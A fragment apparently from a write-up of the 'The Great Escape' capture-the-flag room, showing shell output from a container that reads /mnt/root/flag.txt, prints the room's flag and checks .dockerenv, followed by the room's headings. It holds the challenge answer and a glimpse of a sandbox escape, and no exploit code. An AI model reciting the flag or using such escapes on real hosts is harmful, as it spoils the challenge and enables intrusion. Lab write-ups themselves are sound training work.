drwxr-xr-x 5 root root 4.0K Apr 23 2020 lib drwxr-xr-x 5 root root 4.0K Apr 23 2020 media drwxr-xr-x 22 root root 4.0K Jan 9 2021 mnt drwxr-xr-x 2 root root 4.0K Apr 23 2020 opt dr-xr-xr-x 96 root root 0 Apr 7 20:54 proc drwx------ 1 root root 4.0K Apr 7 20:54 root drwxr-xr-x 2 root root 4.0K Apr 23 2020 run drwxr-xr-x 2 root root 4.0K Apr 23 2020 sbin drwxr-xr-x 2 root root 4.0K Apr 23 2020 srv dr-xr-xr-x 13 root root 0 Apr 7 20:54 sys drwxrwxrwt 2 root root 4.0K Apr 23 2020 tmp drwxr-xr-x 7 root root 4.0K Apr 23 2020 usr drwxr-xr-x 11 root root 4.0K Apr 23 2020 var / # cd /mnt/root /mnt/root # ls flag.txt /mnt/root # cat flag.txt Congrats, you found the real flag! THM{c62517c0cad93ac93a92b1315a32d734} /mnt/root # cd /;cat .dockerenv /

The Great Escape

Our devs have created an awesome new site. Can you break out of the sandbox?

Introduction

A Simple Webapp

Root! Root?

The Great Escape